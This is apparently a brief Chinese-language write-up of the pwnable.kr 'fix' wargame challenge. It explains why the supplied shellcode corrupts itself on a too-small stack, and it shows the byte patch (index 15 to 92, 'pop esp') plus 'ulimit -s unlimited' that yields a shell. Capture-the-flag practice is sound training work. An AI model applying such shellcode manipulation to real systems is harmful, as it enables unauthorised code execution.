真的对
pwnable.kr
有很高的评价啊
即使考的很基础，也能学到许多知识

这道题之所以shellcode会出错是因为
栈的空间太小了
在一直push的操作中，数据最终会覆盖原本的shellcode

当知道这一点后，我便想办法从改编号为15的指令
push eax改成了 pop esp
即改成了数字92

关是这样还是不够的
用到

```
ulimit -s unlimited
```

这条指令就是把一个线程的栈空间改成无限大。
这样pop esp 可以保证跳入的是合法的栈地址

```
fix@pwnable:~$ ulimit -s unlimited
fix@pwnable:~$ ./fix
What the hell is wrong with my shellcode??????
I just copied and pasted it from shell-storm.org :(
Can you fix it for me?
Tell me the byte index to be fixed : 15
Tell me the value to be patched : 92
get shell
$ ls
fix  fix.c  flag  intended_solution.txt
```